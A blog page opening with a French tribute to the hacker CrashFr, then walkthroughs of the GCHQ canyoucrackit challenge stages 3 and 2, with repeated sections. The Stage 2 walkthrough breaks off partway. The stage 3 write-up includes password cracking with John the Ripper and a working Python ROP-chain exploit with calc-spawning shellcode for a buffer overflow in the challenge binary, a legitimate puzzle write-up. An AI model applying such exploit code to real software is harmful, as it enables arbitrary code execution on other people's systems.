Bonjour ou bonsoir,
Hier soir j'apprend la nouvelle ... juste impossible ... juste pas croyable.
Je me connecte sur la chan IRC de #hzv, une ambiance morose et un titre à faire peur: "CrashFR will never die" ... no way ...
Mes doutes, mes peurs ... j'apprend que Paolo Pinto est décédé ... fuck fuck fuck.
Paolo Pinto, aka CrashFr dans la communauté des hackers, était une figure emblématique de la scène Française.
Il a créée HackerzVoice, Sysdream et guider nombre de personnes.
Je l'ai cotoyé durant les NDH ou meets HZV, un homme au grand coeur sans aucuns doutes. Chaque personne avait sa place dans sa communauté, il n'hésitait pas à prodiguer nombres de conseil et à y consacrer de son temps lorsqu'il le pouvait.
Je le considère comme une figure à suivre, sur laquelle prendre exemple.
C'était pour moi un mentor, un exemple, un ami.
En tout cas, je ne sais comment exprimer le sentiment qui m'a envahit hier soir et l'état d'esprit dans lequel je suis. Je n'arrive toujours pas à y croire, c'est trop irréel, trop soudain, trop brutal.
Je ne sais vraiment pas quoi faire, je suis déboussolé. Lui rendre hommage? Comment? Je n'en sais absolument rien si ce n'est de ne pas oublier sa mémoire.
Il nous aura quitté sans prévenir et il ne reviendra pas ... et oh combien j'aurais souhaité prendre une autre bière et taper la discussion ...
Il restera dans nos mémoires, famille, proches, amis et personnes qui l'ont cotoyés,
m_101
lundi 5 décembre 2011
samedi 3 décembre 2011
GCHQ Challenge Part 3 : www.canyoucrackit.co.uk
As
I have seen that many people already posted their solutions ... I do not see the point of keeping mine :). Here it is.
Hello,
Here is the final part of the GCHQ recruitment compaign.
The challenge
We are offered an executable file (compiled under cygwin ...) to analyze.
The "analysis"
The analysis was pretty straightforward.
No protections (you can look with PEiD, etc).
Open it in ImmunityDBG or IDAPro or whatsoever and reverse the code.
I won't do a detailed analysis of the ASM code.
I basically reconstructed the C code (easier to explain no? :)):
So basically, it search for a license.txt file with a specific file format which is as follow:
In the ASM code you have this:
We have the value 0x18 which is 24 in decimal ;).
It basically mean that you have a 24 bytes buffer which receive "gchq", the password and 3 dwords. From this we can deduce the password size: 24 - 4 - 12 = 8.
From there, we can set a jtr rule in the /etc/john/john.conf file:
We suppose the password is full alpha.
Then we have to format our hash using the standard unix format:
We bruteforce it like this:
If you've got rainbow tables or the word in your wordlist then you are lucky not to bruteforce like i had to.
It took me around 35 minutes to get the password:
About the dwords ... where do we get them?
They give us tips:
Remember that there are some dwords that we don't use.
In the first challenge:
In the second challenge:
Now ce can construct the license file using the following (don't forget about little endian here if you are on x86 ;)):
You can either compile the reversed version or use the given executable:
If you look in your browser at the following address:
You will get the keyword:
Congratz
Done, you have a congratulation message (here):
If you click on the button:
You have the following links:
Apply
If you click on the Apply button:
And they wonder why they are lacking resources in reversers, hackers and alike ... a pay between 25, 446 and 31, 152 pounds ...
Poor pay for rare skills and working for a government agency ... not including the lies you are required to give out to your friends and so on.
Bonus Track
Oh yes, surprise, surprise, this challenge is vulnerable :).
If you reverse and read the code with care ... you'd see that the fscanf() function is susceptible to an overflow ;).
If you read the manual:
Yep, it doesn't end at '\0' ;).
It basically end reading when you end the file or the size specification or whitespaces: "\x20\x09\x0d\x0c\x0b\x0a".
So I coded an exploit spawning a calc.
There is a limit as of the size of the payload, around 700-800 bytes which cause cygwin to have a deadlock in the fclose() call. I did not investigate further as how to bypass this restriction.
So as you can see this is a direct ret overwrite, it bypass the "hasLicense" but it fails to gethostbyname() because we overwrite the hostname ;).
For a security challenge ... well it was not secure :).
Conclusion
The challenges were accessible by anyone with some programming knowledge and basic reversing skills.
I am not British so I did it for "fun" ... but for those who applied for the job: they clearly are not searching for highly skilled reverser or programmers ... just the average would do I think here.
Otherwise they would have put more protections on the executables, etc.
I am quite disappointed for an entity such as GCHQ as the challenges were "phony" ...
It was more about searching in the right place than anything else ... but well.
Anyway, I see no point in applying for such an offer:
- you can't speak about your jobs (=> Official Secrets Act)
- you can't speak about your colleagues (=> Official Secrets Act)
- you pay is too low
- you have more risks of being attacked/killed/retained as an hostage (=> in order to potentially attack and steal information from the UK Secret Service)
- if you quit GCHQ, you are stuck with a CV with a "blank" hole
- etc
I might be wrong ... but well I do not see any advantages.
Anyway, hope you had fun through this serie,
m_101
- My solutions: here
Hello,
Here is the final part of the GCHQ recruitment compaign.
The challenge
We are offered an executable file (compiled under cygwin ...) to analyze.
The "analysis"
The analysis was pretty straightforward.
No protections (you can look with PEiD, etc).
Open it in ImmunityDBG or IDAPro or whatsoever and reverse the code.
I won't do a detailed analysis of the ASM code.
I basically reconstructed the C code (easier to explain no? :)):
#include <stdlib.h> #include <stdio.h> #include <stdint.h> #include <string.h> #include <sys/socket.h> #include <netdb.h> #include <crypt.h> #define SERVER_PORT 80 static const char crypted_password[] = "hqDTK7b8K2rvw"; int server_connect(char *hostname, uint32_t keys[]) { int retcode; char buffer[256] = {0}; // socket stuffs int sockfd; struct hostent *host; struct sockaddr_in addr; // recv stuffs int recvBytes = 0; host = gethostbyname(hostname); if (host == 0) { printf("error: gethostbyname() failed\n"); return -1; } // set up sockaddr memcpy(&(addr.sin_addr), host->h_addr_list[0], host->h_length); addr.sin_family = AF_INET; addr.sin_port = htons(SERVER_PORT); // open socket sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // connect to target retcode = connect(sockfd, (struct sockaddr *) &addr, sizeof(addr)); if (retcode != 0) { printf("error: connect(\"%s\") failed\n", hostname); return -1; } // construct GET request sprintf(buffer, "GET /%s/%x/%x/%x/key.txt HTTP/1.0\r\n\r\n", crypted_password, keys[0], keys[1], keys[2]); printf("request:\n\n%s", buffer); // send request retcode = send(sockfd, buffer, strlen(buffer), 0); if (retcode <= 0) { printf("error: send() failed\n"); return -1; } // get response printf("response:\n\n"); do { memset(buffer, 0, sizeof(buffer)); recvBytes = recv(sockfd, buffer, sizeof(buffer) - 1, 0); if (recvBytes > 0) printf("%s", buffer); } while (recvBytes > 0); printf("\n"); return recvBytes; } int main (int argc, char *argv[]) { FILE *fp; char buffer[24] = {0}; uint32_t *ptr = (uint32_t *) buffer; // license stuffs int hasLicense; char *crypted; uint32_t keys[3] = {0}; hasLicense = 0; printf("\nkeygen.exe\n\n"); // check args if (argc != 2) { printf("usage: keygen.exe hostname\n"); return -1; } // open license file fp = fopen("license.txt", "r"); if (!fp) { printf("error: license.txt not found\n"); return -1; } memset(buffer, 0, 24); fscanf(fp, "%s", buffer); fclose(fp); // if buffer does not begin with gchq // then bye if (*ptr != 0x71686367) { printf("error: license.txt invalid\n"); return -1; } // check for password crypted = crypt(buffer + 4, crypted_password); if (strcmp(crypted, crypted_password) == 0) hasLicense = 1; printf("loading stage1 license key(s)...\n"); keys[0] = *((uint32_t *)(buffer + 12)); printf("loading stage2 license key(s)...\n\n"); keys[1] = *((uint32_t *)(buffer + 16)); keys[2] = *((uint32_t *)(buffer + 20)); // if we don't have license // then bye if (hasLicense == 0) { printf("error: license.txt invalid\n"); return -1; } return server_connect(argv[1], keys); }
So basically, it search for a license.txt file with a specific file format which is as follow:
gchq | password | dword 0 | dword 1 | dword 2
In the ASM code you have this:
.text:00401120 loc_401120: ; CODE XREF: main+76 j .text:00401120 mov [esp+78h+var_70], 18h .text:00401128 mov [esp+78h+var_74], 0 .text:00401130 lea eax, [ebp+buffer] .text:00401133 mov [esp+78h+var_78], eax .text:00401136 call memset
We have the value 0x18 which is 24 in decimal ;).
It basically mean that you have a 24 bytes buffer which receive "gchq", the password and 3 dwords. From this we can deduce the password size: 24 - 4 - 12 = 8.
From there, we can set a jtr rule in the /etc/john/john.conf file:
# custom incremental mode [Incremental:cyber] File = $JOHN/alpha.chr MinLen = 8 MaxLen = 8 CharCount = 26
We suppose the password is full alpha.
Then we have to format our hash using the standard unix format:
cyber:hqDTK7b8K2rvw:1:2:3:4:::
We bruteforce it like this:
$ john -i:cyber hash
If you've got rainbow tables or the word in your wordlist then you are lucky not to bruteforce like i had to.
It took me around 35 minutes to get the password:
$ john -show ./hash cyber:cyberwin:1:2:3:4::: 1 password hash cracked, 0 left
About the dwords ... where do we get them?
They give us tips:
loading stage1 license key(s)... loading stage2 license key(s)...So the dwords are in the first and second challenges.
Remember that there are some dwords that we don't use.
In the first challenge:
main: jmp short begin key0: dd 0xa3bfc2af ; let's make some space for our buffer! begin: sub esp, 0x100
In the second challenge:
firmware: [0xd2ab1f05, 0xda13f110]
Now ce can construct the license file using the following (don't forget about little endian here if you are on x86 ;)):
printf "gchqcyberwin\xaf\xc2\xbf\xa3\x05\x1f\xab\xd2\x10\xf1\x13\xda" > license.txt
You can either compile the reversed version or use the given executable:
gcc -o reversed reversed.c -lcryptYou will get this output:
$ ./reversed www.canyoucrackit.co.uk keygen.exe loading stage1 license key(s)... loading stage2 license key(s)... request: GET /hqDTK7b8K2rvw/a3bfc2af/d2ab1f05/da13f110/key.txt HTTP/1.0 response: HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 05 Dec 2011 03:55:34 GMT Connection: close Content-Length: 315 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"> <HTML><HEAD><TITLE>Not Found <META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"> <BODY><h2>Not Found</h2> <hr><p>HTTP Error 404. The requested resource is not found. </BODY></HTML>
If you look in your browser at the following address:
http://www.canyoucrackit.co.uk/hqDTK7b8K2rvw/a3bfc2af/d2ab1f05/da13f110/key.txt
You will get the keyword:
Pr0t3ct!on#cyber_security@12*12.2011+
Congratz
Done, you have a congratulation message (here):
If you click on the button:
You have the following links:
Apply
If you click on the Apply button:
And they wonder why they are lacking resources in reversers, hackers and alike ... a pay between 25, 446 and 31, 152 pounds ...
Poor pay for rare skills and working for a government agency ... not including the lies you are required to give out to your friends and so on.
Bonus Track
Oh yes, surprise, surprise, this challenge is vulnerable :).
If you reverse and read the code with care ... you'd see that the fscanf() function is susceptible to an overflow ;).
fscanf(fp, "%s", buffer);
If you read the manual:
s Matches a sequence of non-white-space characters; the next pointer must be a pointer to character array that is long enough to hold the input sequence and the terminating null character ('\0'), which is added automatically. The input string stops at white space or at the maximum field width, whichever occurs first.
Yep, it doesn't end at '\0' ;).
It basically end reading when you end the file or the size specification or whitespaces: "\x20\x09\x0d\x0c\x0b\x0a".
So I coded an exploit spawning a calc.
There is a limit as of the size of the payload, around 700-800 bytes which cause cygwin to have a deadlock in the fclose() call. I did not investigate further as how to bypass this restriction.
#!/usr/bin/python3 ''' Gadgets ''' # gadget(s) from cygwin-1.dll # == stack related # pushad | retn pushad = b'\xbc\xce\x02\x61' # pop eax | retn pop_eax = b'\x94\xa4\x14\x61' # pop ebx | retn pop_ebx = b'\xe9\x0e\x03\x61' # pop edi | retn pop_edi = b'\x67\x15\x11\x61' # pop esi | pop edi | pop ebp | retn pop_sdb = b'\xef\x8e\x06\x61' # == memory patch # 0x6111459f : # MOV DWORD PTR DS:[EAX],ESI # MOV EAX,EDI # POP EBX # POP ESI # POP EDI # POP EBP # RETN patch_at_eax = b'\x9f\x45\x11\x61' # == stack pivots # add esp, 8 | retn add_esp8 = b'\x4a\xb8\x02\x61' # == registry related # 0x6113f7e3 : # MOV EDX,EAX # MOV EAX,EDX # RETN mov_da = b'\xe3\xf7\x13\x61' # 0x6113f7e5 : # MOV EAX,EDX # RETN mov_ad = b'\xe5\xf7\x13\x61' # xchg eax, ecx xchg_ac = b'\x7b\x6f\x09\x61' # xchg eax, edx xchg_ad = b'\x5a\xf0\x09\x61' # call eax jmp_eax = b'\x9b\x9d\x13\x61' # 0x61139d9b # gadget(s) from executable # ret ret = b'\x86\x10\x40\x00' ''' Exploit Section ''' junk1 = b'a' * 44 hasLicense = b'\x01\x00\x00\x00' # hasLicense junk2 = b'b' * 12 # pop | retn seip = b'\xa3\x14\x40\x00' # eip sebp = b'\x00\x02\x40\x00' # ebp # == rop chain: recover esp in eax # pop esi # junk # junk # retn prepare_regs = pop_sdb + b'\x90' * 4 + b'junk' * 2 # pop edi # pop ebp # retn prepare_regs += pop_edi + pop_eax + pop_eax # pop ebx prepare_regs += pop_ebx + add_esp8 # pop eax prepare_regs += pop_eax + jmp_eax # rop_get_eax = prepare_regs + pushad # our whole rop chain, i did not include VirtualProtect payload btw # it is equivalent to mov eax, esp | jmp eax rop_chain = junk1 + hasLicense + junk2 + seip + sebp + rop_get_eax # we have the following rop chain for prepare_regs ''' | pop esi | | 0x90 * 4 | esi | junk | | junk | | pop edi | | addr(jmp_eax) | edi | addr(jmp_eax) | ebp | pop ebx | | addr(add_esp8) | ebx | pop eax | | addr(jmp_eax) | eax ''' # we have the following stack after the pushad ''' | pop eax | edi | 0x90 * 4 | esi | pop eax | ebp | esp | esp | add esp + 8 | ebx | junk | edx | junk | ecx | jmp eax | eax ''' # the registers after the execution of the constructed ropchain ''' eax = esp ebx = addr(add_esp8) ecx = ecx edx = edx edi = addr(pop_eax) esi = 0x90909090 ebp = addr(pop_eax) esp = esp ''' # now our payload # our payload will be a calc here calc = b'\xda\xd5\xd9\x74\x24\xf4\x5b\xba\xf3\x21\x03\x70\x31\xc9' \ + b'\xb1\x33\x83\xeb\xfc\x31\x53\x13\x03\xa0\x32\xe1\x85\xba' \ + b'\xdd\x6c\x65\x42\x1e\x0f\xef\xa7\x2f\x1d\x8b\xac\x02\x91' \ + b'\xdf\xe0\xae\x5a\x8d\x10\x24\x2e\x1a\x17\x8d\x85\x7c\x16' \ + b'\x0e\x28\x41\xf4\xcc\x2a\x3d\x06\x01\x8d\x7c\xc9\x54\xcc' \ + b'\xb9\x37\x96\x9c\x12\x3c\x05\x31\x16\x00\x96\x30\xf8\x0f' \ + b'\xa6\x4a\x7d\xcf\x53\xe1\x7c\x1f\xcb\x7e\x36\x87\x67\xd8' \ + b'\xe7\xb6\xa4\x3a\xdb\xf1\xc1\x89\xaf\x00\x00\xc0\x50\x33' \ + b'\x6c\x8f\x6e\xfc\x61\xd1\xb7\x3a\x9a\xa4\xc3\x39\x27\xbf' \ + b'\x17\x40\xf3\x4a\x8a\xe2\x70\xec\x6e\x13\x54\x6b\xe4\x1f' \ + b'\x11\xff\xa2\x03\xa4\x2c\xd9\x3f\x2d\xd3\x0e\xb6\x75\xf0' \ + b'\x8a\x93\x2e\x99\x8b\x79\x80\xa6\xcc\x25\x7d\x03\x86\xc7' \ + b'\x6a\x35\xc5\x8d\x6d\xb7\x73\xe8\x6e\xc7\x7b\x5a\x07\xf6' \ + b'\xf0\x35\x50\x07\xd3\x72\xae\x4d\x7e\xd2\x27\x08\xea\x67' \ + b'\x2a\xab\xc0\xab\x53\x28\xe1\x53\xa0\x30\x80\x56\xec\xf6' \ + b'\x78\x2a\x7d\x93\x7e\x99\x7e\xb6\x1c\x7c\xed\x5a\xcd\x1b' \ + b'\x95\xf9\x11'; egg = rop_chain + b'\x90' * 64 + calc # write our sploit file :) fp = open("license.txt", "wb") fp.write(egg) fp.close()
So as you can see this is a direct ret overwrite, it bypass the "hasLicense" but it fails to gethostbyname() because we overwrite the hostname ;).
For a security challenge ... well it was not secure :).
Conclusion
The challenges were accessible by anyone with some programming knowledge and basic reversing skills.
I am not British so I did it for "fun" ... but for those who applied for the job: they clearly are not searching for highly skilled reverser or programmers ... just the average would do I think here.
Otherwise they would have put more protections on the executables, etc.
I am quite disappointed for an entity such as GCHQ as the challenges were "phony" ...
It was more about searching in the right place than anything else ... but well.
Anyway, I see no point in applying for such an offer:
- you can't speak about your jobs (=> Official Secrets Act)
- you can't speak about your colleagues (=> Official Secrets Act)
- you pay is too low
- you have more risks of being attacked/killed/retained as an hostage (=> in order to potentially attack and steal information from the UK Secret Service)
- if you quit GCHQ, you are stuck with a CV with a "blank" hole
- etc
I might be wrong ... but well I do not see any advantages.
Anyway, hope you had fun through this serie,
m_101
- My solutions: here
GCHQ Challenge Part 2 - http://www.canyoucrackit.co.uk/
As
I have seen that many people already posted their solutions ... I do not see the point of keeping mine :). Here it is.
Hello again :),
Ok folks, you managed to get to level 2.
Let's begin,
The challenge
We are presented with a JavaScript file:
Okay, the challenge consist in implementing a virtual CPU that will be able to execute the bytecode and decrypt the parts that interest us.
The VM
Hell, I am not a Web guy so I do not master JavaScript ... who said I had to use JavaScript?
Thus I coded my VM in C, it is included in the archive at the end of the post (600-700 lines of code is too much for a post :)).
I implemented the VM, a disassembler and some debug stuffs.
The disassembled byte code
Before executing any code:
As you can see you have a first loop from address 0x0 to 0x16.
The second loop is completely junk as we have invalid instructions.
The first loop will loop till r2 is 80.
Basically, it will decode 80 bytes of the "data section" with keys ranging from 170 to 250.
The data section is located at offset 256 and the code section at offset 0.
Once we decrypted 80 bytes, we change our code section so it points at offset 256.
We basically decoded a second payload.
The code at the end:
Now at offset 0x100, we can see our decoded payload.
It is a second decoding loop ;).
It changes ds so it points to the encoded payload.
It stop decoding as soon as it reaches the end of the decoded string: '\0'.
The thing is ... we still have 256 bytes that we have no idea of what it is as we can seen from the dumps.
So you can see our decoded string is GET ...
But after the GET, we have 256+ bytes that has not been modified in any way ...
Someone found what it is? (and no it does not seem to be a valid 7zip file :().
Conclusion
This level was more interesting and more programming related.
Implementing a VM was something I never did before ... but was fun :).
Any person who did some "Computer Science" should thus be able to solve this level without much difficulties.
To be continued on the next level ...
m_101
- My solutions: here
Hello again :),
Ok folks, you managed to get to level 2.
Let's begin,
The challenge
We are presented with a JavaScript file:
//-------------------------------------------------------------------------------------------------- // // stage 2 of 3 // // challenge: // reveal the solution within VM.mem // // disclaimer: // tested in ie 9, firefox 6, chrome 14 and v8 shell (http://code.google.com/apis/v8/build.html), // other javascript implementations may or may not work. // //-------------------------------------------------------------------------------------------------- var VM = { cpu: { ip: 0x00, r0: 0x00, r1: 0x00, r2: 0x00, r3: 0x00, cs: 0x00, ds: 0x10, fl: 0x00, firmware: [0xd2ab1f05, 0xda13f110] }, mem: [ 0x31, 0x04, 0x33, 0xaa, 0x40, 0x02, 0x80, 0x03, 0x52, 0x00, 0x72, 0x01, 0x73, 0x01, 0xb2, 0x50, 0x30, 0x14, 0xc0, 0x01, 0x80, 0x00, 0x10, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0xab, 0xd9, 0xa1, 0x9f, 0xa7, 0x83, 0x83, 0xf2, 0xb1, 0x34, 0xb6, 0xe4, 0xb7, 0xca, 0xb8, 0xc9, 0xb8, 0x0e, 0xbd, 0x7d, 0x0f, 0xc0, 0xf1, 0xd9, 0x03, 0xc5, 0x3a, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf, 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7, 0xd8, 0xd9, 0xda, 0xdb, 0xa9, 0xcd, 0xdf, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0x26, 0xeb, 0xec, 0xed, 0xee, 0xef, 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0x7d, 0x1f, 0x15, 0x60, 0x4d, 0x4d, 0x52, 0x7d, 0x0e, 0x27, 0x6d, 0x10, 0x6d, 0x5a, 0x06, 0x56, 0x47, 0x14, 0x42, 0x0e, 0xb6, 0xb2, 0xb2, 0xe6, 0xeb, 0xb4, 0x83, 0x8e, 0xd7, 0xe5, 0xd4, 0xd9, 0xc3, 0xf0, 0x80, 0x95, 0xf1, 0x82, 0x82, 0x9a, 0xbd, 0x95, 0xa4, 0x8d, 0x9a, 0x2b, 0x30, 0x69, 0x4a, 0x69, 0x65, 0x55, 0x1c, 0x7b, 0x69, 0x1c, 0x6e, 0x04, 0x74, 0x35, 0x21, 0x26, 0x2f, 0x60, 0x03, 0x4e, 0x37, 0x1e, 0x33, 0x54, 0x39, 0xe6, 0xba, 0xb4, 0xa2, 0xad, 0xa4, 0xc5, 0x95, 0xc8, 0xc1, 0xe4, 0x8a, 0xec, 0xe7, 0x92, 0x8b, 0xe8, 0x81, 0xf0, 0xad, 0x98, 0xa4, 0xd0, 0xc0, 0x8d, 0xac, 0x22, 0x52, 0x65, 0x7e, 0x27, 0x2b, 0x5a, 0x12, 0x61, 0x0a, 0x01, 0x7a, 0x6b, 0x1d, 0x67, 0x75, 0x70, 0x6c, 0x1b, 0x11, 0x25, 0x25, 0x70, 0x7f, 0x7e, 0x67, 0x63, 0x30, 0x3c, 0x6d, 0x6a, 0x01, 0x51, 0x59, 0x5f, 0x56, 0x13, 0x10, 0x43, 0x19, 0x18, 0xe5, 0xe0, 0xbe, 0xbf, 0xbd, 0xe9, 0xf0, 0xf1, 0xf9, 0xfa, 0xab, 0x8f, 0xc1, 0xdf, 0xcf, 0x8d, 0xf8, 0xe7, 0xe2, 0xe9, 0x93, 0x8e, 0xec, 0xf5, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x7a, 0x07, 0x11, 0x1f, 0x1d, 0x68, 0x25, 0x32, 0x77, 0x1e, 0x62, 0x23, 0x5b, 0x47, 0x55, 0x53, 0x30, 0x11, 0x42, 0xf6, 0xf1, 0xb1, 0xe6, 0xc3, 0xcc, 0xf8, 0xc5, 0xe4, 0xcc, 0xc0, 0xd3, 0x85, 0xfd, 0x9a, 0xe3, 0xe6, 0x81, 0xb5, 0xbb, 0xd7, 0xcd, 0x87, 0xa3, 0xd3, 0x6b, 0x36, 0x6f, 0x6f, 0x66, 0x55, 0x30, 0x16, 0x45, 0x5e, 0x09, 0x74, 0x5c, 0x3f, 0x29, 0x2b, 0x66, 0x3d, 0x0d, 0x02, 0x30, 0x28, 0x35, 0x15, 0x09, 0x15, 0xdd, 0xec, 0xb8, 0xe2, 0xfb, 0xd8, 0xcb, 0xd8, 0xd1, 0x8b, 0xd5, 0x82, 0xd9, 0x9a, 0xf1, 0x92, 0xab, 0xe8, 0xa6, 0xd6, 0xd0, 0x8c, 0xaa, 0xd2, 0x94, 0xcf, 0x45, 0x46, 0x67, 0x20, 0x7d, 0x44, 0x14, 0x6b, 0x45, 0x6d, 0x54, 0x03, 0x17, 0x60, 0x62, 0x55, 0x5a, 0x4a, 0x66, 0x61, 0x11, 0x57, 0x68, 0x75, 0x05, 0x62, 0x36, 0x7d, 0x02, 0x10, 0x4b, 0x08, 0x22, 0x42, 0x32, 0xba, 0xe2, 0xb9, 0xe2, 0xd6, 0xb9, 0xff, 0xc3, 0xe9, 0x8a, 0x8f, 0xc1, 0x8f, 0xe1, 0xb8, 0xa4, 0x96, 0xf1, 0x8f, 0x81, 0xb1, 0x8d, 0x89, 0xcc, 0xd4, 0x78, 0x76, 0x61, 0x72, 0x3e, 0x37, 0x23, 0x56, 0x73, 0x71, 0x79, 0x63, 0x7c, 0x08, 0x11, 0x20, 0x69, 0x7a, 0x14, 0x68, 0x05, 0x21, 0x1e, 0x32, 0x27, 0x59, 0xb7, 0xcf, 0xab, 0xdd, 0xd5, 0xcc, 0x97, 0x93, 0xf2, 0xe7, 0xc0, 0xeb, 0xff, 0xe9, 0xa3, 0xbf, 0xa1, 0xab, 0x8b, 0xbb, 0x9e, 0x9e, 0x8c, 0xa0, 0xc1, 0x9b, 0x5a, 0x2f, 0x2f, 0x4e, 0x4e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ], exec: function() { // virtual machine architecture // ++++++++++++++++++++++++++++ // // segmented memory model with 16-byte segment size (notation seg:offset) // // 4 general-purpose registers (r0-r3) // 2 segment registers (cs, ds equiv. to r4, r5) // 1 flags register (fl) // // instruction encoding // ++++++++++++++++++++ // // byte 1 byte 2 (optional) // bits [ 7 6 5 4 3 2 1 0 ] [ 7 6 5 4 3 2 1 0 ] // opcode - - - // mod - // operand1 - - - - // operand2 - - - - - - - - // // operand1 is always a register index // operand2 is optional, depending upon the instruction set specified below // the value of mod alters the meaning of any operand2 // 0: operand2 = reg ix // 1: operand2 = fixed immediate value or target segment (depending on instruction) // // instruction set // +++++++++++++++ // // Notes: // * r1, r2 => operand 1 is register 1, operand 2 is register 2 // * movr r1, r2 => move contents of register r2 into register r1 // // opcode | instruction | operands (mod 0) | operands (mod 1) // -------+-------------+------------------+----------------- // 0x00 | jmp | r1 | r2:r1 // 0x01 | movr | r1, r2 | rx, imm // 0x02 | movm | r1, [ds:r2] | [ds:r1], r2 // 0x03 | add | r1, r2 | r1, imm // 0x04 | xor | r1, r2 | r1, imm // 0x05 | cmp | r1, r2 | r1, imm // 0x06 | jmpe | r1 | r2:r1 // 0x07 | hlt | N/A | N/A // // flags // +++++ // // cmp r1, r2 instruction results in: // r1 == r2 => fl = 0 // r1 < r2 => fl = 0xff // r1 > r2 => fl = 1 // // jmpe r1 // => if (fl == 0) jmp r1 // else nop throw "VM.exec not yet implemented"; } }; //-------------------------------------------------------------------------------------------------- try { VM.exec(); } catch(e) { alert('\nError: ' + e + '\n'); } //--------------------------------------------------------------------------------------------------
Okay, the challenge consist in implementing a virtual CPU that will be able to execute the bytecode and decrypt the parts that interest us.
The VM
Hell, I am not a Web guy so I do not master JavaScript ... who said I had to use JavaScript?
Thus I coded my VM in C, it is included in the archive at the end of the post (600-700 lines of code is too much for a post :)).
I implemented the VM, a disassembler and some debug stuffs.
The disassembled byte code
Before executing any code:
== DISASM (before) 0x0000: movr r1, 4 0x0002: movr r3, 170 0x0004: movm r0, [ds:r2] 0x0006: xor r0, r3 0x0008: movm [ds:r2], r0 0x000a: add r2, 1 0x000c: add r3, 1 0x000e: cmp r2, 80 0x0010: movr r0, 20 0x0012: jmpe r0 0x0013: jmp r1 0x0014: xor r0, r0 0x0016: jmp 16:r0 0x0018: jmp r0 0x0019: jmp r0 0x001a: jmp r0 [...] 0x00fa: jmp r0 0x00fb: jmp r0 0x00fc: jmp r0 0x00fd: jmp r0 0x00fe: jmp r0 0x00ff: jmp r0 0x0100: xor r0, 171 0x0102: jmpe 161:r1 0x0104: invalid 0x0106: xor r3, r3 0x0108: hlt 0x0109: cmp r1, 52 0x010b: invalid 0x010d: invalid 0x010f: cmp r0, 201 0x0111: cmp r0, 14 0x0113: cmp ds, 125 0x0115: invalid 0x0116: jmpe r0 0x0117: hlt 0x0118: jmpe 3:r1 0x011a: invalid 0x011b: movr r2, 198 0x011d: invalid 0x011e: jmpe r0 0x011f: jmpe r1 0x0120: jmpe r2 0x0121: jmpe r3 0x0122: invalid 0x0123: invalid 0x0124: invalid 0x0125: invalid
As you can see you have a first loop from address 0x0 to 0x16.
The second loop is completely junk as we have invalid instructions.
The first loop will loop till r2 is 80.
Basically, it will decode 80 bytes of the "data section" with keys ranging from 170 to 250.
The data section is located at offset 256 and the code section at offset 0.
Once we decrypted 80 bytes, we change our code section so it points at offset 256.
We basically decoded a second payload.
The code at the end:
